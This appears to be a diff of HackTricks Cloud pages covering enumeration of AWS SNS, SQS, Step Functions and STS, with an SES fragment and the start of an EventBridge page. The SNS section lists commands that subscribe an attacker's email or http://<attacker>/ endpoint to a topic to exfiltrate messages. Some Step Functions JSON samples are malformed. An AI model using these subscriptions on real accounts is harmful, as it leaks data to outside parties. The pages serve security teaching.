# Private IPs
aws sesv2 list-dedicated-ip-pools
aws sesv2 get-dedicated-ip-pool --pool-name <name>
aws sesv2 get-dedicated-ips --pool-name <name> #Only valid if ScalingMode is Standard
aws sesv2 get-dedicated-ip --ip <ip>
# Misc
## Get send quota
aws ses get-send-quota
## Get statistics
aws ses get-send-statistics
```
{% endcode %}
### Post Exploitation
{% content-ref url="../aws-post-exploitation/aws-ses-post-exploitation.md" %}
[aws-ses-post-exploitation.md](../aws-post-exploitation/aws-ses-post-exploitation.md)
{% endcontent-ref %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,106 @@
# AWS - SNS Enum
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## SNS
Amazon Simple Notification Service (Amazon SNS) is described as a **fully managed messaging service**. It supports both **application-to-application** (A2A) and **application-to-person** (A2P) communication types.
Key features for A2A communication include **publish/subscribe (pub/sub) mechanisms**. These mechanisms introduce **topics**, crucial for enabling high-throughput, **push-based, many-to-many messaging**. This feature is highly advantageous in scenarios that involve distributed systems, microservices, and event-driven serverless architectures. By leveraging these topics, publisher systems can efficiently distribute messages to a **wide range of subscriber systems**, facilitating a fanout messaging pattern.
### **Difference with SQS**
**SQS** is a **queue-based** service that allows point-to-point communication, ensuring that messages are processed by a **single consumer**. It offers **at-least-once delivery**, supports standard and FIFO queues, and allows message retention for retries and delayed processing.\
On the other hand, **SNS** is a **publish/subscribe-based service**, enabling **one-to-many** communication by broadcasting messages to **multiple subscribers** simultaneously. It supports **various subscription endpoints like email, SMS, Lambda functions, and HTTP/HTTPS**, and provides filtering mechanisms for targeted message delivery.\
While both services enable decoupling between components in distributed systems, SQS focuses on queued communication, and SNS emphasizes event-driven, fan-out communication patterns.
### **Enumeration**
```bash
# Get topics & subscriptions
aws sns list-topics
aws sns list-subscriptions
aws sns list-subscriptions-by-topic --topic-arn <arn>
# Check privescs & post-exploitation
aws sns publish --region <region> \
--topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \
--message file://message.txt
# Exfiltrate through email
## You will receive an email to confirm the subscription
aws sns subscribe --region <region> \
--topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \
--protocol email \
--notification-endpoint my-email@example.com
# Exfiltrate through web server
## You will receive an initial request with a URL in the field "SubscribeURL"
## that you need to access to confirm the subscription
aws sns subscribe --region <region>\
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>
```
{% hint style="danger" %}
Note that if the **topic is of type FIFO**, only subscribers using the protocol **SQS** can be used (HTTP or HTTPS cannot be used).
Also, even if the `--topic-arn` contains the region make sure you specify the correct region in **`--region`** or you will get an error that looks like indicate that you don't have access but the problem is the region.
{% endhint %}
#### Unauthenticated Access
{% content-ref url="../aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md" %}
[aws-sns-unauthenticated-enum.md](../aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md)
{% endcontent-ref %}
#### Privilege Escalation
{% content-ref url="../aws-privilege-escalation/aws-sns-privesc.md" %}
[aws-sns-privesc.md](../aws-privilege-escalation/aws-sns-privesc.md)
{% endcontent-ref %}
#### Post Exploitation
{% content-ref url="../aws-post-exploitation/aws-sns-post-exploitation.md" %}
[aws-sns-post-exploitation.md](../aws-post-exploitation/aws-sns-post-exploitation.md)
{% endcontent-ref %}
#### Persistence
{% content-ref url="../aws-persistence/aws-sns-persistence.md" %}
[aws-sns-persistence.md](../aws-persistence/aws-sns-persistence.md)
{% endcontent-ref %}
## References
* [https://aws.amazon.com/about-aws/whats-new/2022/01/amazon-sns-attribute-based-access-controls/](https://aws.amazon.com/about-aws/whats-new/2022/01/amazon-sns-attribute-based-access-controls/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,80 @@
# AWS - SQS Enum
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## SQS
Amazon Simple Queue Service (SQS) is presented as a **fully managed message queuing service**. Its main function is to assist in the scaling and decoupling of microservices, distributed systems, and serverless applications. The service is designed to remove the need for managing and operating message-oriented middleware, which can often be complex and resource-intensive. This elimination of complexity allows developers to direct their efforts towards more innovative and differentiating aspects of their work.
### Enumeration
```bash
# Get queues info
aws sqs list-queues
aws sqs get-queue-attributes --queue-url <url> --attribute-names All
# More about this in privesc & post-exploitation
aws sqs receive-message --queue-url <value>
aws sqs send-message --queue-url <value> --message-body <value>
```
{% hint style="danger" %}
Also, even if the `--queue-url` contains the region make sure you specify the correct region in **`--region`** or you will get an error that looks like indicate that you don't have access but the problem is the region.
{% endhint %}
#### Unauthenticated Access
{% content-ref url="../aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md" %}
[aws-sqs-unauthenticated-enum.md](../aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md)
{% endcontent-ref %}
#### Privilege Escalation
{% content-ref url="../aws-privilege-escalation/aws-sqs-privesc.md" %}
[aws-sqs-privesc.md](../aws-privilege-escalation/aws-sqs-privesc.md)
{% endcontent-ref %}
#### Post Exploitation
{% content-ref url="../aws-post-exploitation/aws-sqs-post-exploitation.md" %}
[aws-sqs-post-exploitation.md](../aws-post-exploitation/aws-sqs-post-exploitation.md)
{% endcontent-ref %}
#### Persistence
{% content-ref url="../aws-persistence/aws-sqs-persistence.md" %}
[aws-sqs-persistence.md](../aws-persistence/aws-sqs-persistence.md)
{% endcontent-ref %}
## References
* https://docs.aws.amazon.com/cdk/api/v2/python/aws\_cdk.aws\_sqs/README.html
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,359 @@
# AWS - Step Functions Enum
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Step Functions
AWS Step Functions is a workflow service that enables you to coordinate and orchestrate multiple AWS services into serverless workflows. By using AWS Step Functions, you can design and run workflows that connect various AWS services such as AWS Lambda, Amazon S3, Amazon DynamoDB, and many more, in a sequence of steps. This orchestration service provides a visual workflow interface and offers **state machine** capabilities, allowing you to define each step of the workflow in a declarative manner using JSON-based **Amazon States Language** (ASL).
## Key concepts
### Standard vs. Express Workflows
AWS Step Functions offers two types of **state machine workflows**: Standard and Express.
* **Standard Workflow**: This default workflow type is designed for long-running, durable, and auditable processes. It supports **exactly-once execution**, ensuring tasks run only once unless retries are specified. It is ideal for workflows needing detailed execution history and can run for up to one year.
* **Express Workflow**: This type is ideal for high-volume, short-duration tasks, running up to five minutes. They support **at-least-once execution**, suitable for idempotent tasks like data processing. These workflows are optimized for cost and performance, charging based on executions, duration, and memory usage.
### States
States are the essential units of state machines. They define the individual steps within a workflow, being able to perform a variety of functions depending on its type:
* **Task:** Executes a job, often using an AWS service like Lambda.
* **Choice:** Makes decisions based on input.
* **Fail/Succeed:** Ends the execution with a failure or success.
* **Pass:** Passes input to output or injects data.
* **Wait:** Delays execution for a set time.
* **Parallel:** Initiates parallel branches.
* **Map:** Dynamically iterates steps over items.
### Task
A **Task** state represents a single unit of work executed by a state machine. Tasks can invoke various resources, including activities, Lambda functions, AWS services, or third-party APIs.
* **Activities**: Custom workers you manage, suitable for long-running processes.
* Resource: **`arn:aws:states:region:account:activity:name`**.
* **Lambda Functions**: Executes AWS Lambda functions.
* Resource: **`arn:aws:lambda:region:account:function:function-name`**.
* **AWS Services**: Integrates directly with other AWS services, like DynamoDB or S3.
* Resource: **`arn:partition:states:region:account:servicename:APIname`**.
* **HTTP Task**: Calls third-party APIs.
* Resource field: **`arn:aws:states:::http:invoke`**. Then, you should provide the API endpoint configuration details, such as the API URL, method, and authentication details.
The following example shows a Task state definition that invokes a Lambda function called HelloWorld:
```json
"HelloWorld": {
"Type": "Task",
"Resource": "arn:aws:states:::lambda:invoke",
"Parameters": {
"Payload.$": "$",
"FunctionName": "arn:aws:lambda:<region>:<account-id>:function:HelloWorld"
},
"End": true
}
```
### Choice
A **Choice** state adds conditional logic to a workflow, enabling decisions based on input data. It evaluates the specified conditions and transitions to the corresponding state based on the results.
* **Comparison**: Each choice rule includes a comparison operator (e.g., **`NumericEquals`**, **`StringEquals`**) that compares an input variable to a specified value or another variable.
* **Next Field**: Choice states do not support don't support the **`End`** field, instead, they define the **`Next`** state to transition to if the comparison is true.
Example of **Choice** state:
```json
{
"Variable": "$.timeStamp",
"TimestampEquals": "2000-01-01T00:00:00Z",
"Next": "TimeState"
}
```
### Fail/Succeed
A **`Fail`** state stops the execution of a state machine and marks it as a failure. It is used to specify an error name and a cause, providing details about the failure. This state is terminal, meaning it ends the execution flow.
A **`Succeed`** state stops the execution successfully. It is typically used to terminate the workflow when it completes successfully. This state does not require a **`Next`** field.
{% tabs %}
{% tab title="Fail example" %}
```json
"FailState": {
"Type": "Fail",
"Error": "ErrorName",
"Cause": "Error details"
}
```
{% endtab %}
{% tab title="Succeed example" %}
```json
"SuccessState": {
"Type": "Succeed"
}
```
{% endtab %}
{% endtabs %}
### Pass
A **Pass** state passes its input to its output either without performing any work or transformin JSON state input using filters, and then passing the transformed data to the next state. It is useful for testing and constructing state machines, allowing you to inject static data or transform it.
```json
"PassState": {
"Type": "Pass",
"Result": {"key": "value"},
"ResultPath": "$.newField",
"Next": "NextState"
}
```
### Wait
A **Wait** state delays the execution of the state machine for a specified duration. There are three primary methods to configure the wait time:
* **X Seconds**: A fixed number of seconds to wait.
```json
"WaitState": {
"Type": "Wait",
"Seconds": 10,
"Next": "NextState"
}
```
* **Absolute Timestamp**: An exact time to wait until.
```json
"WaitState": {
"Type": "Wait",
"Timestamp": "2024-03-14T01:59:00Z",
"Next": "NextState"
}
```
* **Dynamic Wait**: Based on input using **`SecondsPath`** or **`TimestampPath`**.
```json
jsonCopiar código
"WaitState": {
"Type": "Wait",
"TimestampPath": "$.expirydate",
"Next": "NextState"
}
```
### Parallel
A **Parallel** state allows you to execute multiple branches of tasks concurrently within your workflow. Each branch runs independently and processes its own sequence of states. The execution waits until all branches complete before proceeding to the next state. Its key fields are:
* **Branches**: An array defining the parallel execution paths. Each branch is a separate state machine.
* **ResultPath**: Defines where (in the input) to place the combined output of the branches.
* **Retry and Catch**: Error handling configurations for the parallel state.
```json
"ParallelState": {
"Type": "Parallel",
"Branches": [
{
"StartAt": "Task1",
"States": { ... }
},
{
"StartAt": "Task2",
"States": { ... }
}
],
"Next": "NextState"
}
```
### Map
A **Map** state enables the execution of a set of steps for each item in an dataset. It's used for parallel processing of data. Depending on how you want to process the items of the dataset, Step Functions provides the following modes:
* **Inline Mode**: Executes a subset of states for each JSON array item. Suitable for small-scale tasks with less than 40 parallel iterations, running each of them in the context of the workflow that contains the **`Map`** state.
```json
"MapState": {
"Type": "Map",
"ItemsPath": "$.arrayItems",
"ItemProcessor": {
"ProcessorConfig": {
"Mode": "INLINE"
},
"StartAt": "AddState",
"States": {
"AddState": {
"Type": "Task",
"Resource": "arn:aws:states:::lambda:invoke",
"OutputPath": "$.Payload",
"Parameters": {
"FunctionName": "arn:aws:lambda:<region>:<account-id>:function:add-function"
},
"End": true
}
}
},
"End": true
"ResultPath": "$.detail.added",
"ItemsPath": "$.added"
}
```
* **Distributed Mode**: Designed for large-scale parallel processing with high concurrency. Supports processing large datasets, such as those stored in Amazon S3, enabling a high concurrency of up 10,000 parallel child workflow executions, running these child as a separate child execution.
```json
"DistributedMapState": {
"Type": "Map",
"ItemReader": {
"Resource": "arn:aws:states:::s3:getObject",
"Parameters": {
"Bucket": "my-bucket",
"Key": "data.csv"
}
},
"ItemProcessor": {
"ProcessorConfig": {
"Mode": "DISTRIBUTED",
"ExecutionType": "EXPRESS"
},
"StartAt": "ProcessItem",
"States": {
"ProcessItem": {
"Type": "Task",
"Resource": "arn:aws:lambda:region:account-id:function:my-function",
"End": true
}
}
},
"End": true
"ResultWriter": {
"Resource": "arn:aws:states:::s3:putObject",
"Parameters": {
"Bucket": "myOutputBucket",
"Prefix": "csvProcessJobs"
}
}
}
```
### Versions and aliases
Step Functions also lets you manage workflow deployments through **versions** and **aliases** of state machines. A version represents a snapshot of a state machine that can be executed. Aliases serve as pointers to up to two versions of a state machine.
* **Versions**: These immutable snapshots of a state machine are created from the most recent revision of that state machine. Each version is identified by a unique ARN that combines the state machine ARN with the version number, separated by a colon (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:version-number`**). Versions cannot be edited, but you can update the state machine and publish a new version, or use the desired state machine version.
* **Aliases**: These pointers can reference up to two versions of the same state machine. Multiple aliases can be created for a single state machine, each identified by a unique ARN constructed by combining the state machine ARN with the alias name, separated by a colon (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:aliasName`**). Aliases enable routing of traffic between one of the two versions of a state machine. Alternatively, an alias can point to a single specific version of the state machine, but not to other aliases. They can be updated to redirect to a different version of the state machine as needed, facilitating controlled deployments and workflow management.
For more detailed information about **ASL**, check: [**Amazon States Language**](https://states-language.net/spec.html).
## IAM Roles for State machines
AWS Step Functions utilizes AWS Identity and Access Management (IAM) roles to control access to resources and actions within state machines. Here are the key aspects related to security and IAM roles in AWS Step Functions:
* **Execution Role**: Each state machine in AWS Step Functions is associated with an IAM execution role. This role defines what actions the state machine can perform on your behalf. When a state machine transitions between states that interact with AWS services (like invoking Lambda functions, accessing DynamoDB, etc.), it assumes this execution role to carry out those actions.
* **Permissions**: The IAM execution role must be configured with permissions that allow the necessary actions on other AWS services. For example, if your state machine needs to invoke AWS Lambda functions, the IAM role must have **`lambda:InvokeFunction`** permissions. Similarly, if it needs to write to DynamoDB, appropriate permissions (**`dynamodb:PutItem`**, **`dynamodb:UpdateItem`**, etc.) must be granted.
## Enumeration
ReadOnlyAccess policy is enough for all the following enumeration actions.
```bash
# State machines #
## List state machines
aws stepfunctions list-state-machines
## Retrieve informatio about the specified state machine
aws stepfunctions describe-state-machine --state-machine-arn <value>
## List versions for the specified state machine
aws stepfunctions list-state-machine-versions --state-machine-arn <value>
## List aliases for the specified state machine
aws stepfunctions list-state-machine-aliases --state-machine-arn <value>
## Retrieve information about the specified state machine alias
aws stepfunctions describe-state-machine-alias --state-machine-alias-arn <value>
## List executions of a state machine
aws stepfunctions list-executions --state-machine-arn <value> [--status-filter <RUNNING | SUCCEEDED | FAILED | TIMED_OUT | ABORTED | PENDING_REDRIVE>] [--redrive-filter <REDRIVEN | NOT_REDRIVEN>]
## Retrieve information and relevant metadata about a state machine execution (output included)
aws stepfunctions describe-execution --execution-arn <value>
## Retrieve information about the state machine associated to the specified execution
aws stepfunctions describe-state-machine-for-execution --execution-arn <value>
## Retrieve the history of the specified execution as a list of events
aws stepfunctions get-execution-history --execution-arn <value> [--reverse-order | --no-reverse-order] [--include-execution-data | --no-include-execution-data]
## List tags for the specified step Functions resource
aws stepfunctions list-tags-for-resource --resource-arn <value>
## Validate the definition of a state machine without creating the resource
aws stepfunctions validate-state-machine-definition --definition <value> [--type <STANDARD | EXPRESS>]
# Activities #
## List existing activities
aws stepfunctions list-activities
## Retrieve information about the specified activity
aws stepfunctions describe-activity --activity-arn <value>
# Map Runs #
## List map runs of an execution
aws stepfunctions list-map-runs --execution-arn <value>
## Provide information about the configuration, progress and results of a Map Run
aws stepfunctions describe-map-run --map-run-arn <value>
## Lists executions of a Map Run
aws stepfunctions list-executions --map-run-arn <value> [--status-filter <RUNNING | SUCCEEDED | FAILED | TIMED_OUT | ABORTED | PENDING_REDRIVE>] [--redrive-filter <REDRIVEN | NOT_REDRIVEN>]
```
## Privesc
In the following page, you can check how to **abuse Step Functions permissions to escalate privileges**:
{% content-ref url="../aws-privilege-escalation/aws-stepfunctions-privesc.md" %}
[aws-stepfunctions-privesc.md](../aws-privilege-escalation/aws-stepfunctions-privesc.md)
{% endcontent-ref %}
## Post Exploitation
{% content-ref url="../aws-post-exploitation/aws-stepfunctions-post-exploitation.md" %}
[aws-stepfunctions-post-exploitation.md](../aws-post-exploitation/aws-stepfunctions-post-exploitation.md)
{% endcontent-ref %}
## Persistence
{% content-ref url="../aws-persistence/aws-step-functions-persistence.md" %}
[aws-step-functions-persistence.md](../aws-persistence/aws-step-functions-persistence.md)
{% endcontent-ref %}
## References
* [https://docs.aws.amazon.com/service-authorization/latest/reference/list\_awsstepfunctions.html](https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsstepfunctions.html)
* [https://docs.aws.amazon.com/step-functions/latest/dg/welcome.html](https://docs.aws.amazon.com/step-functions/latest/dg/welcome.html)
* [https://states-language.net/spec.html](https://states-language.net/spec.html)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,126 @@
# AWS - STS Enum
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## STS
**AWS Security Token Service (STS)** is primarily designed to issue **temporary, limited-privilege credentials**. These credentials can be requested for **AWS Identity and Access Management (IAM)** users or for authenticated users (federated users).
Given that STS's purpose is to **issue credentials for identity impersonation**, the service is immensely valuable for **escalating privileges and maintaining persistence**, even though it might not have a wide array of options.
### Assume Role Impersonation
The action [AssumeRole](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html) provided by AWS STS is crucial as it permits a principal to acquire credentials for another principal, essentially impersonating them. Upon invocation, it responds with an access key ID, a secret key, and a session token corresponding to the specified ARN.
For Penetration Testers or Red Team members, this technique is instrumental for privilege escalation (as elaborated [**here**](../aws-privilege-escalation/aws-sts-privesc.md#sts-assumerole)). However, it's worth noting that this technique is quite conspicuous and may not catch an attacker off guard.
#### Assume Role Logic
In order to assume a role in the same account if the **role to assume is allowing specifically a role ARN** like in:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<acc_id>:role/priv-role"
},
"Action": "sts:AssumeRole",
"Condition": {}
}
]
}
```
The role **`priv-role`** in this case, **doesn't need to be specifically allowed** to assume that role (with that allowance is enough).
However, if a role is allowing an account to assume it, like in:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<acc_id>:root"
},
"Action": "sts:AssumeRole",
"Condition": {}
}
]
}
```
The role trying to assume it will need a **specific `sts:AssumeRole` permission** over that role **to assume it**.
If you try to assume a **role** **from a different account**, the **assumed role must allow it** (indicating the role **ARN** or the **external account**), and the **role trying to assume** the other one **MUST** to h**ave permissions to assume it** (in this case this isn't optional even if the assumed role is specifying an ARN).
### Enumeration
```bash
# Get basic info of the creds
aws sts get-caller-identity
aws sts get-access-key-info --access-key-id <AccessKeyID>
# Get CLI a session token with current creds
## Using CLI creds
## You cannot get session creds using session creds
aws sts get-session-token
## MFA
aws sts get-session-token --serial-number <arn_device> --token-code <otp_code>
```
### Privesc
In the following page you can check how to **abuse STS permissions to escalate privileges**:
{% content-ref url="../aws-privilege-escalation/aws-sts-privesc.md" %}
[aws-sts-privesc.md](../aws-privilege-escalation/aws-sts-privesc.md)
{% endcontent-ref %}
### Post Exploitation
{% content-ref url="../aws-post-exploitation/aws-sts-post-exploitation.md" %}
[aws-sts-post-exploitation.md](../aws-post-exploitation/aws-sts-post-exploitation.md)
{% endcontent-ref %}
### Persistence
{% content-ref url="../aws-persistence/aws-sts-persistence.md" %}
[aws-sts-persistence.md](../aws-persistence/aws-sts-persistence.md)
{% endcontent-ref %}
## References
* [https://blog.christophetd.fr/retrieving-aws-security-credentials-from-the-aws-console/?utm\_source=pocket\_mylist](https://blog.christophetd.fr/retrieving-aws-security-credentials-from-the-aws-console/?utm_source=pocket_mylist)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,107 @@
# AWS - EventBridge Scheduler Enum
## EventBridge Scheduler
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
